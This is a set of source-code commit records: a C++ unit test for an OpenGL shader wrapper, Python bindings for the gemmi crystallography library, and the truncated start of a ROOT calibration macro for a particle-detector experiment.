{\n" " gl_Position = MCVertex;\n" "}\n"); shader.compile(); const string log = shader.log(); CPPUNIT_ASSERT(log.empty()); } /** * Ensures equality operator returns true for shaders with the same ID. */ void testOperatorEqualEqualWithEqual() { const Shader s1 = Shader::create(GL_VERTEX_SHADER); const Shader s2 = Shader::fromId(s1.id()); CPPUNIT_ASSERT(s1 == s2); } /** * Ensures inequality operator returns true for shaders with different IDs. */ void testOperatorNotEqualWithUnequal() { const Shader s1 = Shader::create(GL_VERTEX_SHADER); const Shader s2 = Shader::create(GL_VERTEX_SHADER); CPPUNIT_ASSERT(s1 != s2); } /** * Ensures both forms of source works correctly. */ void testSource() { const Shader shader = Shader::create(GL_VERTEX_SHADER); string source = "#version 140\n" "in vec4 MCVertex;\n" "void main() {\n" " gl_Position = MCVertex;\n" "}\n"; shader.source(source); CPPUNIT_ASSERT_EQUAL(source, shader.source()); } /** * Ensures a fragment shader's type is GL_FRAGMENT_SHADER. */ void testTypeWithFragmentShader() { const Shader shader = Shader::create(GL_FRAGMENT_SHADER); CPPUNIT_ASSERT_EQUAL((GLenum) GL_FRAGMENT_SHADER, shader.type()); } /** * Ensures a geometry shader's type is GL_GEOMETRY_SHADER. */ void testTypeWithGeometryShader() { const Shader shader = Shader::create(GL_GEOMETRY_SHADER); CPPUNIT_ASSERT_EQUAL((GLenum) GL_GEOMETRY_SHADER, shader.type()); } /** * Ensures a vertex shader's type is GL_VERTEX_SHADER. */ void testTypeWithVertexShader() { const Shader shader = Shader::create(GL_VERTEX_SHADER); CPPUNIT_ASSERT_EQUAL((GLenum) GL_VERTEX_SHADER, shader.type()); } /** * Ensures wrapping an existing shader works correctly. */ void testFromIdWithGoodId() { const GLuint id = glCreateShader(GL_FRAGMENT_SHADER); const Shader shader = Shader::fromId(id); CPPUNIT_ASSERT_EQUAL(id, shader.id()); } /** * Ensures wrapping a non-existent shader throws an exception. */ void testFromIdWithBadId() { const GLuint id = -1; CPPUNIT_ASSERT_THROW(Shader::fromId(id), invalid_argument); } }; int main(int argc, char* argv[]) { // Initialize if (!glfwInit()) { cerr << "Could not initialize GLFW!" << endl; return 1; } // Open a window glfwOpenWindowHint(GLFW_OPENGL_VERSION_MAJOR, 3); glfwOpenWindowHint(GLFW_OPENGL_VERSION_MINOR, 2); glfwOpenWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE); glfwOpenWindow(512, 512, 0, 0, 0, 0, 0, 0, GLFW_WINDOW); // Run the test ShaderTest test; try { test.testCompileWithBadFragmentShader(); test.testCompileWithGoodFragmentShader(); test.testCompileWithBadVertexShader(); test.testCompileWithGoodVertexShader(); test.testCreateWithFragmentShader(); test.testCreateWithGeometryShader(); test.testCreateWithVertexShader(); test.testIdWithFragmentShader(); test.testIdWithGeometryShader(); test.testIdWithVertexShader(); test.testLogWithBadFragmentShader(); test.testLogWithGoodFragmentShader(); test.testLogWithBadVertexShader(); test.testLogWithGoodVertexShader(); test.testOperatorEqualEqualWithEqual(); test.testOperatorNotEqualWithUnequal(); test.testSource(); test.testTypeWithFragmentShader(); test.testTypeWithGeometryShader(); test.testTypeWithVertexShader(); test.testFromIdWithGoodId(); test.testFromIdWithBadId(); } catch (exception& e) { cerr << e.what() << endl; throw; } // Exit glfwTerminate(); return 0; } <commit_msg>Fixed bad shaders sometimes not failing in ShaderTest (ref #81)<commit_after>/* * Copyright (c) 2012, Andrew Brown * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include "config.h" #include <cppunit/extensions/HelperMacros.h> #include <stdexcept> #include "gloop/Shader.hxx" #include <GL/glfw.h> using namespace std; using namespace Gloop; /** * Unit test for Shader. */ class ShaderTest { public: /** * Ensures a bad fragment shader does not compile correctly. */ void testCompileWithBadFragmentShader() { const Shader shader = Shader::create(GL_FRAGMENT_SHADER); shader.source( "#version 140\n" "out vec4 FragColor;\n" "FragColor = vec4(1);\n"); shader.compile(); CPPUNIT_ASSERT(!shader.compiled()); } /** * Ensures a good fragment shader compiles correctly. */ void testCompileWithGoodFragmentShader() { const Shader shader = Shader::create(GL_FRAGMENT_SHADER); shader.source( "#version 140\n" "out vec4 FragColor;\n" "void main() {\n" " FragColor = vec4(1);\n" "}\n"); shader.compile(); CPPUNIT_ASSERT(shader.compiled()); } /** * Ensures a bad vertex shader does not compile correctly. */ void testCompileWithBadVertexShader() { const Shader shader = Shader::create(GL_VERTEX_SHADER); shader.source( "#version 140\n" "in vec4 MCVertex;\n" "gl_Position = MCVertex;\n"); shader.compile(); CPPUNIT_ASSERT(!shader.compiled()); } /** * Ensures a good vertex shader compiles correctly. */ void testCompileWithGoodVertexShader() { const Shader shader = Shader::create(GL_VERTEX_SHADER); shader.source( "#version 140\n" "in vec4 MCVertex;\n" "void main() {\n" " gl_Position = MCVertex;\n" "}\n"); shader.compile(); CPPUNIT_ASSERT(shader.compiled()); } /** * Ensures making a new fragment shader works. */ void testCreateWithFragmentShader() { const Shader shader = Shader::create(GL_FRAGMENT_SHADER); const GLenum error = glGetError(); CPPUNIT_ASSERT_EQUAL((GLenum) GL_NO_ERROR, error); shader.dispose(); } /** * Ensures making a new geometry shader works. */ void testCreateWithGeometryShader() { const Shader shader = Shader::create(GL_GEOMETRY_SHADER); const GLenum error = glGetError(); CPPUNIT_ASSERT_EQUAL((GLenum) GL_NO_ERROR, error); shader.dispose(); } /** * Ensures making a new vertex shader works. */ void testCreateWithVertexShader() { const Shader shader = Shader::create(GL_VERTEX_SHADER); const GLenum error = glGetError(); CPPUNIT_ASSERT_EQUAL((GLenum) GL_NO_ERROR, error); shader.dispose(); } /** * Ensures id returns a valid ID with a fragment shader. */ void testIdWithFragmentShader() { const Shader shader = Shader::create(GL_FRAGMENT_SHADER); CPPUNIT_ASSERT(shader.id() > 0); } /** * Ensures id returns a valid ID with a geometry shader. */ void testIdWithGeometryShader() { const Shader shader = Shader::create(GL_GEOMETRY_SHADER); CPPUNIT_ASSERT(shader.id() > 0); } /** * Ensures id returns a valid ID with a vertex shader. */ void testIdWithVertexShader() { const Shader shader = Shader::create(GL_VERTEX_SHADER); CPPUNIT_ASSERT(shader.id() > 0); } /** * Ensures compiling a bad fragment shader generates a log. */ void testLogWithBadFragmentShader() { const Shader shader = Shader::create(GL_FRAGMENT_SHADER); shader.source( "#version 140\n" "out vec4 FragColor;\n" "void main() {\n" " FragColor = vec4(1)\n" "}\n"); shader.compile(); const string log = shader.log(); CPPUNIT_ASSERT(!log.empty()); } /** * Ensures compiling a good fragment shader generates an empty log. */ void testLogWithGoodFragmentShader() { const Shader shader = Shader::create(GL_FRAGMENT_SHADER); shader.source( "#version 140\n" "out vec4 FragColor;\n" "void main() {\n" " FragColor = vec4(1);\n" "}\n"); shader.compile(); const string log = shader.log(); CPPUNIT_ASSERT(log.empty()); } /** * Ensures compiling a bad vertex shader generates a log. */ void testLogWithBadVertexShader() { const Shader shader = Shader::create(GL_VERTEX_SHADER); shader.source( "#version 140\n" "in vec4 MCVertex;\n" "void main() {\n" " FragColor = MCVertex;\n" "}\n"); shader.compile(); const string log = shader.log(); CPPUNIT_ASSERT(!log.empty()); } /** * Ensures compiling a good vertex shader generates an empty log. */ void testLogWithGoodVertexShader() { const Shader shader = Shader::create(GL_VERTEX_SHADER); shader.source( "#version 140\n" "out vec4 MCVertex;\n" "void main() {\n" " gl_Position = MCVertex;\n" "}\n"); shader.compile(); const string log = shader.log(); CPPUNIT_ASSERT(log.empty()); } /** * Ensures equality operator returns true for shaders with the same ID. */ void testOperatorEqualEqualWithEqual() { const Shader s1 = Shader::create(GL_VERTEX_SHADER); const Shader s2 = Shader::fromId(s1.id()); CPPUNIT_ASSERT(s1 == s2); } /** * Ensures inequality operator returns true for shaders with different IDs. */ void testOperatorNotEqualWithUnequal() { const Shader s1 = Shader::create(GL_VERTEX_SHADER); const Shader s2 = Shader::create(GL_VERTEX_SHADER); CPPUNIT_ASSERT(s1 != s2); } /** * Ensures both forms of source works correctly. */ void testSource() { const Shader shader = Shader::create(GL_VERTEX_SHADER); string source = "#version 140\n" "in vec4 MCVertex;\n" "void main() {\n" " gl_Position = MCVertex;\n" "}\n"; shader.source(source); CPPUNIT_ASSERT_EQUAL(source, shader.source()); } /** * Ensures a fragment shader's type is GL_FRAGMENT_SHADER. */ void testTypeWithFragmentShader() { const Shader shader = Shader::create(GL_FRAGMENT_SHADER); CPPUNIT_ASSERT_EQUAL((GLenum) GL_FRAGMENT_SHADER, shader.type()); } /** * Ensures a geometry shader's type is GL_GEOMETRY_SHADER. */ void testTypeWithGeometryShader() { const Shader shader = Shader::create(GL_GEOMETRY_SHADER); CPPUNIT_ASSERT_EQUAL((GLenum) GL_GEOMETRY_SHADER, shader.type()); } /** * Ensures a vertex shader's type is GL_VERTEX_SHADER. */ void testTypeWithVertexShader() { const Shader shader = Shader::create(GL_VERTEX_SHADER); CPPUNIT_ASSERT_EQUAL((GLenum) GL_VERTEX_SHADER, shader.type()); } /** * Ensures wrapping an existing shader works correctly. */ void testFromIdWithGoodId() { const GLuint id = glCreateShader(GL_FRAGMENT_SHADER); const Shader shader = Shader::fromId(id); CPPUNIT_ASSERT_EQUAL(id, shader.id()); } /** * Ensures wrapping a non-existent shader throws an exception. */ void testFromIdWithBadId() { const GLuint id = -1; CPPUNIT_ASSERT_THROW(Shader::fromId(id), invalid_argument); } }; int main(int argc, char* argv[]) { // Initialize if (!glfwInit()) { cerr << "Could not initialize GLFW!" << endl; return 1; } // Open a window glfwOpenWindowHint(GLFW_OPENGL_VERSION_MAJOR, 3); glfwOpenWindowHint(GLFW_OPENGL_VERSION_MINOR, 2); glfwOpenWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE); glfwOpenWindow(512, 512, 0, 0, 0, 0, 0, 0, GLFW_WINDOW); // Run the test ShaderTest test; try { test.testCompileWithBadFragmentShader(); test.testCompileWithGoodFragmentShader(); test.testCompileWithBadVertexShader(); test.testCompileWithGoodVertexShader(); test.testCreateWithFragmentShader(); test.testCreateWithGeometryShader(); test.testCreateWithVertexShader(); test.testIdWithFragmentShader(); test.testIdWithGeometryShader(); test.testIdWithVertexShader(); test.testLogWithBadFragmentShader(); test.testLogWithGoodFragmentShader(); test.testLogWithBadVertexShader(); test.testLogWithGoodVertexShader(); test.testOperatorEqualEqualWithEqual(); test.testOperatorNotEqualWithUnequal(); test.testSource(); test.testTypeWithFragmentShader(); test.testTypeWithGeometryShader(); test.testTypeWithVertexShader(); test.testFromIdWithGoodId(); test.testFromIdWithBadId(); } catch (exception& e) { cerr << e.what() << endl; throw; } // Exit glfwTerminate(); return 0; } <|endoftext|>
<commit_before>// Copyright 2017 Global Phasing Ltd. #include "common.h" #include <pybind11/stl.h> #include <pybind11/stl_bind.h> #include <ostream> #include "gemmi/seqid.hpp" #include "gemmi/metadata.hpp" #include "gemmi/enumstr.hpp" #include "gemmi/tostr.hpp" #include "meta.h" namespace py = pybind11; using namespace gemmi; namespace gemmi { // not inline std::ostream& operator<< (std::ostream& os, const Entity& ent) { os << "<gemmi.Entity '" << ent.name << "' " << entity_type_to_string(ent.entity_type); if (ent.polymer_type != PolymerType::Unknown) os << ' ' << polymer_type_to_qstring(ent.polymer_type); os << " object at 0x" << std::hex << (size_t)&ent << std::dec << '>'; return os; } } void add_meta(py::module& m) { // seqid.hpp py::class_<SeqId>(m, "SeqId") .def(py::init<int, char>()) .def(py::init<const std::string&>()) .def_readwrite("num", &SeqId::num) .def_readwrite("icode", &SeqId::icode) .def("__str__", &SeqId::str) .def("__repr__", [](const SeqId& self) { return "<gemmi.SeqId " + self.str() + ">"; }) .def(py::pickle( [](const SeqId &self) { return py::make_tuple(self.num, self.icode); }, [](py::tuple t) { if (t.size() != 2) throw std::runtime_error("invalid tuple size"); return SeqId(t[0].cast<int>(), t[1].cast<char>()); } )); py::class_<ResidueId>(m, "ResidueId") .def(py::init<>()) .def_readwrite("name", &ResidueId::name) .def_readwrite("seqid", &ResidueId::seqid) .def_readwrite("segment", &ResidueId::segment) .def("__str__", &ResidueId::str) .def("__repr__", [](const ResidueId& self) { return "<gemmi.ResidueId " + self.str() + ">"; }) .def(py::pickle( [](const ResidueId &self) { return py::make_tuple(self.seqid, self.segment, self.name); }, [](py::tuple t) { if (t.size() != 3) throw std::runtime_error("invalid tuple size"); ResidueId r; r.seqid = t[0].cast<SeqId>(); r.segment = t[1].cast<std::string>(); r.name = t[2].cast<std::string>(); return r; } )); py::class_<AtomAddress>(m, "AtomAddress") .def(py::init<>()) .def(py::init<const std::string&, const SeqId&, const std::string&, const std::string&, char>(), py::arg("chain"), py::arg("seqid"), py::arg("resname"), py::arg("atom"), py::arg("altloc")='\0') .def_readwrite("chain_name", &AtomAddress::chain_name) .def_readwrite("res_id", &AtomAddress::res_id) .def_readwrite("atom_name", &AtomAddress::atom_name) .def_readwrite("altloc", &AtomAddress::altloc) .def("__str__", &AtomAddress::str) .def("__repr__", [](const AtomAddress& self) { return tostr("<gemmi.AtomAddress ", self.str(), '>'); }) .def(py::pickle( [](const AtomAddress &self) { return py::make_tuple(self.chain_name, self.res_id, self.atom_name, self.altloc); }, [](py::tuple t) { if (t.size() != 4) throw std::runtime_error("invalid tuple size"); return AtomAddress(t[0].cast<std::string>(), t[1].cast<ResidueId>(), t[2].cast<std::string>(), t[3].cast<char>()); } )); // metadata.hpp py::class_<NcsOp>(m, "NcsOp") .def(py::init<>()) .def(py::init([](const Transform& tr, const std::string& id, bool given) { NcsOp* op = new NcsOp(); op->tr = tr; op->id = id; op->given = given; return op; }), py::arg("tr"), py::arg("id")="", py::arg("given")=false) .def_readwrite("id", &NcsOp::id) .def_readwrite("given", &NcsOp::given) .def_readonly("tr", &NcsOp::tr) .def("apply", &NcsOp::apply) .def("__repr__", [](const NcsOp& self) { return tostr("<gemmi.NcsOp ", self.id, " |shift|=", self.tr.vec.length(), (self.given ? " (" : " (not "), "given)>"); }); py::bind_vector<std::vector<NcsOp>>(m, "NcsOpList"); py::enum_<EntityType>(m, "EntityType") .value("Unknown", EntityType::Unknown) .value("Polymer", EntityType::Polymer) .value("NonPolymer", EntityType::NonPolymer) .value("Water", EntityType::Water); py::enum_<PolymerType>(m, "PolymerType") .value("PeptideL", PolymerType::PeptideL) .value("PeptideD", PolymerType::PeptideD) .value("Dna", PolymerType::Dna) .value("Rna", PolymerType::Rna) .value("DnaRnaHybrid", PolymerType::DnaRnaHybrid) .value("SaccharideD", PolymerType::SaccharideD) .value("SaccharideL", PolymerType::SaccharideL) .value("Pna", PolymerType::Pna) .value("CyclicPseudoPeptide", PolymerType::CyclicPseudoPeptide) .value("Other", PolymerType::Other) .value("Unknown", PolymerType::Unknown); py::class_<Entity>(m, "Entity") .def(py::init<std::string>()) .def_readwrite("name", &Entity::name) .def_readwrite("subchains", &Entity::subchains) .def_readwrite("entity_type", &Entity::entity_type) .def_readwrite("polymer_type", &Entity::polymer_type) .def_readwrite("full_sequence", &Entity::full_sequence) .def_static("first_mon", &Entity::first_mon) .def("__repr__", [](const Entity& self) { return tostr(self); }); py::bind_vector<std::vector<Entity>>(m, "EntityList"); py::enum_<Connection::Type>(m, "ConnectionType") .value("Covale", Connection::Type::Covale) .value("Disulf", Connection::Type::Disulf) .value("Hydrog", Connection::Type::Hydrog) .value("MetalC", Connection::Type::MetalC) .value("Unknown", Connection::Type::Unknown); py::class_<Connection>(m, "Connection") .def(py::init<>()) .def_readwrite("name", &Connection::name) .def_readwrite("link_id", &Connection::link_id) .def_readwrite("type", &Connection::type) .def_readwrite("asu", &Connection::asu) .def_readwrite("partner1", &Connection::partner1) .def_readwrite("partner2", &Connection::partner2) .def_readwrite("reported_distance", &Connection::reported_distance) .def("__repr__", [](const Connection& self) { return tostr("<gemmi.Connection ", self.name, " ", self.partner1.str(), " - ", self.partner2.str(), '>'); }); py::bind_vector<std::vector<Connection>>(m, "ConnectionList"); py::class_<Helix> helix(m, "Helix"); py::enum_<Helix::HelixClass>(helix, "HelixClass") .value("UnknownHelix", Helix::HelixClass::UnknownHelix) .value("RAlpha", Helix::HelixClass::RAlpha) .value("ROmega", Helix::HelixClass::ROmega) .value("RPi", Helix::HelixClass::RPi) .value("RGamma", Helix::HelixClass::RGamma) .value("R310", Helix::HelixClass::R310) .value("LAlpha", Helix::HelixClass::LAlpha) .value("LOmega", Helix::HelixClass::LOmega) .value("LGamma", Helix::HelixClass::LGamma) .value("Helix27", Helix::HelixClass::Helix27) .value("HelixPolyProlineNone", Helix::HelixClass::HelixPolyProlineNone); helix .def(py::init<>()) .def_readwrite("start", &Helix::start) .def_readwrite("end", &Helix::end) .def_readwrite("pdb_helix_class", &Helix::pdb_helix_class) .def_readwrite("length", &Helix::length); py::bind_vector<std::vector<Helix>>(m, "HelixList"); py::class_<Sheet> sheet(m, "Sheet"); py::class_<Sheet::Strand>(sheet, "Strand") .def(py::init<>()) .def_readwrite("start", &Sheet::Strand::start) .def_readwrite("end", &Sheet::Strand::end) .def_readwrite("hbond_atom2", &Sheet::Strand::hbond_atom2) .def_readwrite("hbond_atom1", &Sheet::Strand::hbond_atom1) .def_readwrite("sense", &Sheet::Strand::sense) .def_readwrite("name", &Sheet::Strand::name); py::bind_vector<std::vector<Sheet::Strand>>(sheet, "StrandList"); sheet .def(py::init<std::string>()) .def_readwrite("name", &Sheet::name) .def_readwrite("strands", &Sheet::strands); py::bind_vector<std::vector<Sheet>>(m, "SheetList"); py::class_<Assembly> assembly(m, "Assembly"); py::class_<Assembly::Operator>(assembly, "Operator") .def(py::init<>()) .def_readwrite("name", &Assembly::Operator::name) .def_readwrite("type", &Assembly::Operator::type) .def_readwrite("transform", &Assembly::Operator::transform); py::bind_vector<std::vector<Assembly::Operator>>(assembly, "OperatorList"); py::class_<Assembly::Gen>(assembly, "Gen") .def(py::init<>()) .def_readwrite("chains", &Assembly::Gen::chains) .def_readwrite("subchains", &Assembly::Gen::subchains) .def_readonly("operators", &Assembly::Gen::operators); py::bind_vector<std::vector<Assembly::Gen>>(assembly, "GenList"); py::enum_<Assembly::SpecialKind>(m, "AssemblySpecialKind") .value("NA", Assembly::SpecialKind::NA) .value("CompleteIcosahedral", Assembly::SpecialKind::CompleteIcosahedral) .value("RepresentativeHelical", Assembly::SpecialKind::RepresentativeHelical) .value("CompletePoint", Assembly::SpecialKind::CompletePoint); assembly .def(py::init<const std::string&>()) .def_readwrite("name", &Assembly::name) .def_readwrite("author_determined", &Assembly::author_determined) .def_readwrite("software_determined", &Assembly::software_determined) .def_readwrite("oligomeric_details", &Assembly::oligomeric_details) .def_readonly("generators", &Assembly::generators) .def_readwrite("special_kind", &Assembly::special_kind) ; py::bind_vector<std::vector<Assembly>>(m, "AssemblyList"); } <commit_msg>python: add operator overloads<commit_after>// Copyright 2017 Global Phasing Ltd. #include "common.h" #include <pybind11/stl.h> #include <pybind11/stl_bind.h> #include <ostream> #include "gemmi/seqid.hpp" #include "gemmi/metadata.hpp" #include "gemmi/enumstr.hpp" #include "gemmi/tostr.hpp" #include "meta.h" namespace py = pybind11; using namespace gemmi; namespace gemmi { // not inline std::ostream& operator<< (std::ostream& os, const Entity& ent) { os << "<gemmi.Entity '" << ent.name << "' " << entity_type_to_string(ent.entity_type); if (ent.polymer_type != PolymerType::Unknown) os << ' ' << polymer_type_to_qstring(ent.polymer_type); os << " object at 0x" << std::hex << (size_t)&ent << std::dec << '>'; return os; } } void add_meta(py::module& m) { // seqid.hpp py::class_<SeqId>(m, "SeqId") .def(py::init<int, char>()) .def(py::init<const std::string&>()) .def_readwrite("num", &SeqId::num) .def_readwrite("icode", &SeqId::icode) .def("__str__", &SeqId::str) .def("__repr__", [](const SeqId& self) { return "<gemmi.SeqId " + self.str() + ">"; }) .def(py::self == py::self) .def(py::self < py::self) .def(py::pickle( [](const SeqId &self) { return py::make_tuple(self.num, self.icode); }, [](py::tuple t) { if (t.size() != 2) throw std::runtime_error("invalid tuple size"); return SeqId(t[0].cast<int>(), t[1].cast<char>()); } )); py::class_<ResidueId>(m, "ResidueId") .def(py::init<>()) .def_readwrite("name", &ResidueId::name) .def_readwrite("seqid", &ResidueId::seqid) .def_readwrite("segment", &ResidueId::segment) .def("__str__", &ResidueId::str) .def("__repr__", [](const ResidueId& self) { return "<gemmi.ResidueId " + self.str() + ">"; }) .def(py::self == py::self) .def(py::pickle( [](const ResidueId &self) { return py::make_tuple(self.seqid, self.segment, self.name); }, [](py::tuple t) { if (t.size() != 3) throw std::runtime_error("invalid tuple size"); ResidueId r; r.seqid = t[0].cast<SeqId>(); r.segment = t[1].cast<std::string>(); r.name = t[2].cast<std::string>(); return r; } )); py::class_<AtomAddress>(m, "AtomAddress") .def(py::init<>()) .def(py::init<const std::string&, const SeqId&, const std::string&, const std::string&, char>(), py::arg("chain"), py::arg("seqid"), py::arg("resname"), py::arg("atom"), py::arg("altloc")='\0') .def_readwrite("chain_name", &AtomAddress::chain_name) .def_readwrite("res_id", &AtomAddress::res_id) .def_readwrite("atom_name", &AtomAddress::atom_name) .def_readwrite("altloc", &AtomAddress::altloc) .def("__str__", &AtomAddress::str) .def("__repr__", [](const AtomAddress& self) { return tostr("<gemmi.AtomAddress ", self.str(), '>'); }) .def(py::self == py::self) .def(py::pickle( [](const AtomAddress &self) { return py::make_tuple(self.chain_name, self.res_id, self.atom_name, self.altloc); }, [](py::tuple t) { if (t.size() != 4) throw std::runtime_error("invalid tuple size"); return AtomAddress(t[0].cast<std::string>(), t[1].cast<ResidueId>(), t[2].cast<std::string>(), t[3].cast<char>()); } )); // metadata.hpp py::class_<NcsOp>(m, "NcsOp") .def(py::init<>()) .def(py::init([](const Transform& tr, const std::string& id, bool given) { NcsOp* op = new NcsOp(); op->tr = tr; op->id = id; op->given = given; return op; }), py::arg("tr"), py::arg("id")="", py::arg("given")=false) .def_readwrite("id", &NcsOp::id) .def_readwrite("given", &NcsOp::given) .def_readonly("tr", &NcsOp::tr) .def("apply", &NcsOp::apply) .def("__repr__", [](const NcsOp& self) { return tostr("<gemmi.NcsOp ", self.id, " |shift|=", self.tr.vec.length(), (self.given ? " (" : " (not "), "given)>"); }); py::bind_vector<std::vector<NcsOp>>(m, "NcsOpList"); py::enum_<EntityType>(m, "EntityType") .value("Unknown", EntityType::Unknown) .value("Polymer", EntityType::Polymer) .value("NonPolymer", EntityType::NonPolymer) .value("Water", EntityType::Water); py::enum_<PolymerType>(m, "PolymerType") .value("PeptideL", PolymerType::PeptideL) .value("PeptideD", PolymerType::PeptideD) .value("Dna", PolymerType::Dna) .value("Rna", PolymerType::Rna) .value("DnaRnaHybrid", PolymerType::DnaRnaHybrid) .value("SaccharideD", PolymerType::SaccharideD) .value("SaccharideL", PolymerType::SaccharideL) .value("Pna", PolymerType::Pna) .value("CyclicPseudoPeptide", PolymerType::CyclicPseudoPeptide) .value("Other", PolymerType::Other) .value("Unknown", PolymerType::Unknown); py::class_<Entity>(m, "Entity") .def(py::init<std::string>()) .def_readwrite("name", &Entity::name) .def_readwrite("subchains", &Entity::subchains) .def_readwrite("entity_type", &Entity::entity_type) .def_readwrite("polymer_type", &Entity::polymer_type) .def_readwrite("full_sequence", &Entity::full_sequence) .def_static("first_mon", &Entity::first_mon) .def("__repr__", [](const Entity& self) { return tostr(self); }); py::bind_vector<std::vector<Entity>>(m, "EntityList"); py::enum_<Connection::Type>(m, "ConnectionType") .value("Covale", Connection::Type::Covale) .value("Disulf", Connection::Type::Disulf) .value("Hydrog", Connection::Type::Hydrog) .value("MetalC", Connection::Type::MetalC) .value("Unknown", Connection::Type::Unknown); py::class_<Connection>(m, "Connection") .def(py::init<>()) .def_readwrite("name", &Connection::name) .def_readwrite("link_id", &Connection::link_id) .def_readwrite("type", &Connection::type) .def_readwrite("asu", &Connection::asu) .def_readwrite("partner1", &Connection::partner1) .def_readwrite("partner2", &Connection::partner2) .def_readwrite("reported_distance", &Connection::reported_distance) .def("__repr__", [](const Connection& self) { return tostr("<gemmi.Connection ", self.name, " ", self.partner1.str(), " - ", self.partner2.str(), '>'); }); py::bind_vector<std::vector<Connection>>(m, "ConnectionList"); py::class_<Helix> helix(m, "Helix"); py::enum_<Helix::HelixClass>(helix, "HelixClass") .value("UnknownHelix", Helix::HelixClass::UnknownHelix) .value("RAlpha", Helix::HelixClass::RAlpha) .value("ROmega", Helix::HelixClass::ROmega) .value("RPi", Helix::HelixClass::RPi) .value("RGamma", Helix::HelixClass::RGamma) .value("R310", Helix::HelixClass::R310) .value("LAlpha", Helix::HelixClass::LAlpha) .value("LOmega", Helix::HelixClass::LOmega) .value("LGamma", Helix::HelixClass::LGamma) .value("Helix27", Helix::HelixClass::Helix27) .value("HelixPolyProlineNone", Helix::HelixClass::HelixPolyProlineNone); helix .def(py::init<>()) .def_readwrite("start", &Helix::start) .def_readwrite("end", &Helix::end) .def_readwrite("pdb_helix_class", &Helix::pdb_helix_class) .def_readwrite("length", &Helix::length); py::bind_vector<std::vector<Helix>>(m, "HelixList"); py::class_<Sheet> sheet(m, "Sheet"); py::class_<Sheet::Strand>(sheet, "Strand") .def(py::init<>()) .def_readwrite("start", &Sheet::Strand::start) .def_readwrite("end", &Sheet::Strand::end) .def_readwrite("hbond_atom2", &Sheet::Strand::hbond_atom2) .def_readwrite("hbond_atom1", &Sheet::Strand::hbond_atom1) .def_readwrite("sense", &Sheet::Strand::sense) .def_readwrite("name", &Sheet::Strand::name); py::bind_vector<std::vector<Sheet::Strand>>(sheet, "StrandList"); sheet .def(py::init<std::string>()) .def_readwrite("name", &Sheet::name) .def_readwrite("strands", &Sheet::strands); py::bind_vector<std::vector<Sheet>>(m, "SheetList"); py::class_<Assembly> assembly(m, "Assembly"); py::class_<Assembly::Operator>(assembly, "Operator") .def(py::init<>()) .def_readwrite("name", &Assembly::Operator::name) .def_readwrite("type", &Assembly::Operator::type) .def_readwrite("transform", &Assembly::Operator::transform); py::bind_vector<std::vector<Assembly::Operator>>(assembly, "OperatorList"); py::class_<Assembly::Gen>(assembly, "Gen") .def(py::init<>()) .def_readwrite("chains", &Assembly::Gen::chains) .def_readwrite("subchains", &Assembly::Gen::subchains) .def_readonly("operators", &Assembly::Gen::operators); py::bind_vector<std::vector<Assembly::Gen>>(assembly, "GenList"); py::enum_<Assembly::SpecialKind>(m, "AssemblySpecialKind") .value("NA", Assembly::SpecialKind::NA) .value("CompleteIcosahedral", Assembly::SpecialKind::CompleteIcosahedral) .value("RepresentativeHelical", Assembly::SpecialKind::RepresentativeHelical) .value("CompletePoint", Assembly::SpecialKind::CompletePoint); assembly .def(py::init<const std::string&>()) .def_readwrite("name", &Assembly::name) .def_readwrite("author_determined", &Assembly::author_determined) .def_readwrite("software_determined", &Assembly::software_determined) .def_readwrite("oligomeric_details", &Assembly::oligomeric_details) .def_readonly("generators", &Assembly::generators) .def_readwrite("special_kind", &Assembly::special_kind) ; py::bind_vector<std::vector<Assembly>>(m, "AssemblyList"); } <|endoftext|>
<commit_before>#if !defined(__CINT__) || defined(__MAKECINT__) #include <AliEMCALGeometry.h> #include <AliOADBContainer.h> #include <TCanvas.h> #include <TClonesArray.h> #include <TDatime.h> #include <TFile.h> #include <TGrid.h> #include <TH2F.h> #include <TLegend.h> #include <TMap.h> #include <TNtuple.h> #include <TObject.h> #include <TProfile.h> #include <TSystem.h> #include "LInfo.h" #include "TInfo.h" #include "plotOCDB_Temperature.C" #include "plotOCDB_LED.C" class TCalCell : public TObject { public: TCalCell() : fId(0), fSM(0), fLedM(0), fLedR(0), fMonM(0), fMonR(0), fLocT(0), fSMT(0) {;} virtual ~TCalCell() {;} Short_t fId; // cell id Short_t fSM; // super module index Short_t fRow; // row (phi) index Short_t fCol; // col (eta) index Short_t fBad; // bad cell Double32_t fLedM; //[0,0,16] led mean Double32_t fLedR; //[0,0,16] led rms Double32_t fMonM; //[0,0,16] mon mean Double32_t fMonR; //[0,0,16] mon rms Double32_t fLocT; //[0,0,16] loc T Double32_t fSMT; //[0,0,16] sm T ClassDef(TCalCell, 2); // CalCell class }; class TCalSM : public TObject { public: TCalSM() : fSM(0), fAvgT(0), fT1(0), fT2(0), fT3(0), fT4(0), fT5(0), fT6(0), fT7(0), fFracLed(0), fFracMon(0) {;} virtual ~TCalSM() {;} Short_t fSM; // super module index Double32_t fAvgT; //[0,0,16] sm T Double32_t fT1; //[0,0,16] sensor T 1 Double32_t fT2; //[0,0,16] sensor T 2 Double32_t fT3; //[0,0,16] sensor T 3 Double32_t fT4; //[0,0,16] 